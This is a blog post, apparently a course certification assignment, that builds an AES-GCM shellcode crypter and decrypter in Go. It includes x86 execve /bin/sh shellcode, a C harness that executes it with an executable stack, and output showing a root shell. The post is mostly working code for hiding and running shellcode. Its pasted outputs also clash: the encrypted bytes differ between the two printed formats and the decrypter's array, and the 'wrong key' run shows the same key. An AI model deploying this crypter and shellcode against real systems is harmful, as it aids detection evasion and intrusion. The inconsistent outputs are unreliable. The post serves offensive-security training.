In this post, I will create a shellcode crypter/decryptor in Golang. The encryption algorithm that I will use is AES, which is a symmetric key algorithm i.e. the key used for encryption and decryption will be same.
Let’s layout what I am trying to achieve:
- The encrypter program will be provided with a secret key and the original shellcode. The program will use AES-128 encryption mechanism to generate the encrypted shellcode.
- The decrypter program will be provided with the same secret key as used earlier and the encrypted shellcode. The program will decrypt the shellcode to generate the original shellcode.
For encryption and decryption, I will use Golang’s “crypto/aes” package. A key of 16 bytes will be used for AES-128 encryption.
Note that the in-depth analysis of AES encryption is out of scope of this post.
Encrypting Shellcode…
The flow of encyption code is as follows:
- The code is harcoded with a 16 byte key – iamsecret1234567
- The shellcode is also hardcoded. Upon execution, the shellcode spawns “/bin/sh” shell on the local system.
- The key is fed in to the encryption program which has the following flow:
- Create a cipher block using NewCipher function
- Create new GCM using NewGCM function
- Create a nonce using NonceSize function
- Encrypt the data using the aead.Seal function
- Finally, the code is formatted to be printed on the screen.
The Golang code is as follows and is well commented:
/* Tool: AES Encryptor in Go Author: Mohit Suyal (@mosunit) Student ID: PA-16521 Blog: https://mosunit.com */ package main import ( "crypto/aes" "crypto/cipher" "crypto/rand" "fmt" "io" ) func main() { // define secret key as slice of byte secret := []byte("iamsecret1234567") fmt.Printf("The symmetric key to encrypt the shellcode is \"iamsecret1234567\"\n\n") // execve shellcode - spawns shell(/bin/sh) on localhost Shellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80} // Call to encrypt function encrypted, err := encrypt(Shellcode, secret) if err != nil { panic(fmt.Sprintf("Unable to encrypt the data: %v", err)) } fmt.Printf("The encrypted shellcode is:\n") // convert slice of byte returned to hex format (\x..) for printing to console for i := range encrypted { // check the index value to match the last element of the slice // Check if the hex coversion of slice element will be less than 2 digits; append an additional "0", if true if encrypted[i] < 16 { fmt.Printf("\\x0%x", encrypted[i]) } else { fmt.Printf("\\x%x", encrypted[i]) } } fmt.Printf("\n\nTo embedd the output in the Go code, use the following shellcode format:\n") // convert slice of byte returned to hex format (0x..) for printing to console for i := range encrypted { // check the index value to match the last element of the slice // this if statement is true for all index values except the last if i != len(encrypted)-1 { // Check if the hex coversion of slice element will be less than 2 digits; append an additional "0", if true if encrypted[i] < 16 { fmt.Printf("0x0%x,", encrypted[i]) } else { fmt.Printf("0x%x,", encrypted[i]) } } else { if encrypted[i] < 16 { fmt.Printf("0x0%x", encrypted[i]) } else { fmt.Printf("0x%x", encrypted[i]) } } } } // encrypt encrypts plain string with a secret key and returns encrypt string. func encrypt(plainData []byte, secret []byte) ([]byte, error) { cipherBlock, err := aes.NewCipher(secret) if err != nil { return []byte{1}, err } aead, err := cipher.NewGCM(cipherBlock) if err != nil { return []byte{1}, err } nonce := make([]byte, aead.NonceSize()) if _, err = io.ReadFull(rand.Reader, nonce); err != nil { return []byte{1}, err } // return the encrypted shellcode return aead.Seal(nonce, nonce, []byte(plainData), nil), nil }
Upon running the code, we get the encrypted shellcode. You notice that the encrypted shellcode is output in two formats. The reason is one of the formats can be used to be directly embedded in the decrypter program.
mosunit@mosunit MINGW64 /e/<snipped>/SLAE/assignment- $ go run custom_encryptor.go The symmetric key to encrypt the shellcode is "iamsecret1234567" The encrypted shellcode is: \x16\xbf\x7f\xa4\xda\x94\x41\x5b\x27\x47\x53\xbb\x9b\xb1\x32\x82\x60\x1d\x61\xcf\x5b\x05\x7e\x25\x1e\xbc\xec\x18\xfa\xe8bd To embedd the output in the Go code, use the following shellcode format: 0x16,0xbf,0x7f,0xa4,0xda,0x94,0x41,0x5b,0x27,0x47,0x53,0xbb,0x9b,0xb1,0x32,0x82,0x60,0x1d,0x61,0xcf,0x5b,0x05,0x7e,0x25,0xb4,0xc0,0x4f,0xd0,0xa4,0x32,0x4f,0x30,0xb1,0x1f,0xbd
Decrypting Shellcode…
Now that we have the encrypted shellcode, we need a way to decrypt the shellcode. The same is achieved using the Go code. The flow of decrypter code is as follows:
- The key used is same as that in the encrypter program – iamsecret1234567
- The output shellcode from the encrypter program is hardcoded in this code
- The key is fed into the decryption program and the flow is as follows:
- Create a new cipher block using the key
- Create a new GCM
- Get the nonce size from the created GCM
- Get the nonce from the prefix of encrypted data
- Decrypt the data using aead.Open function
- Finally, the code is formatted to be printed on the screen
The decryter code is also well commented and is as follows:
/* Tool: AES Decrypter in Go Author: Mohit Suyal (@mosunit) Student ID: PA-16521 Blog: https://mosunit.com */ package main import ( "crypto/aes" "crypto/cipher" "encoding/base64" "fmt" ) func main() { // define secret key as slice of byte // secret is same as used in encrypter shellcode secret := []byte("iamsecret1234567") fmt.Printf("The symmetric key to decrypt the shellcode is: iamsecret1234567\n\n") // encrypted shellcode - output of aes_shellcode_encrypter.go e := []byte{0x16, 0xbf, 0x7f, 0xa4, 0xda, 0x94, 0x41, 0x5b, 0x27, 0x47, 0x53, 0xbb, 0x9b, 0xb1, 0x32, 0x82, 0x60, 0x1d, 0x61, 0xcf, 0x5b, 0x05, 0x7e, 0x25, 0x1e, 0xbc, 0xec, 0x18, 0xfa, 0xe8, 0x18, 0x3e, 0xc9, 0x3e, 0xf8, 0x03, 0x2d, 0x30, 0xe0, 0xfa, 0x29, 0xb8, 0xb4, 0xc0, 0x4f, 0xd0, 0xa4, 0x32, 0x4f, 0x30, 0xb1, 0x1f, 0xbd} // encrypted shellcode converted to string - to be fed in decrypt function encrypted := fmt.Sprintf((base64.URLEncoding.EncodeToString(e))) decrypted, err := decrypt(encrypted, secret) if err != nil { panic(fmt.Sprintf("unable to decrypt the data: %v", err)) } fmt.Println("The decrypted shellcode is:") for i := range decrypted { // check the index value to match the last element of the slice // this if statement is true for all index values except the last if i != len(decrypted)-1 { // Check if the hex coversion of slice element will be less than 2 digits; append an additional "0", if true if decrypted[i] < 16 { fmt.Printf("\\x0%x", decrypted[i]) } else { fmt.Printf("\\x%x", decrypted[i]) } } else { if decrypted[i] < 16 { fmt.Printf("\\x0%x", decrypted[i]) } else { fmt.Printf("\\x%x", decrypted[i]) } } } } func decrypt(encodedData string, secret []byte) ([]byte, error) { encryptData, err := base64.URLEncoding.DecodeString(encodedData) if err != nil { return []byte{1}, err } cipherBlock, err := aes.NewCipher(secret) if err != nil { return []byte{1}, err } aead, err := cipher.NewGCM(cipherBlock) if err != nil { return []byte{1}, err } nonceSize := aead.NonceSize() if len(encryptData) < nonceSize { return []byte{1}, err } nonce, cipherText := encryptData[:nonceSize], encryptData[nonceSize:] plainData, err := aead.Open(nil, nonce, cipherText, nil) if err != nil { return []byte{1}, err } return plainData, nil }
Note that the decrytper shellcode has been harcoded with the 1) the key, which is same as the encrypter shellcode 2) the shellcode, which is the encrypted shellcode from encrypter code.
Upon running the decrypter code, the code is decrypted successfully and we get the original shellcode:
mosunit@mosunit MINGW64 /e/O<snipped>/SLAE/assignment-7/decryptor $ go run custom_decryptor.go The symmetric key to decrypt the shellcode is: iamsecret1234567 Shellcode has been decrypted successfully. The decrypted shellcode is: \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
To check the authenticity of the decrypter code, I input a different key from the encrypter shellcode and the shellcode decryption failed.
$ go run custom_decryptor.go The symmetric key to decrypt the shellcode is: iamsecret1234567 panic: unable to decrypt the data: cipher: message authentication failed
Let’s check if the decrypted shellcode works. Following is the skeleton C code to check the shellcode. It has been embedded with the decrypted shellcode.
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Upon compiling and executing the shellcode, /bin/sh shell is spawned.
root@kali:~/temp# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int] 7 | main() | ^~~~ root@kali:~/temp# ./shellcode Shellcode length: 25 # id uid=0(root) gid=0(root) groups=0(root) # ps PID TTY TIME CMD 25888 pts/0 00:00:00 bash 27714 pts/0 00:00:00 sh 27716 pts/0 00:00:00 ps
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: PA-16521
The code is also stored at GitHub. Thanks for reading !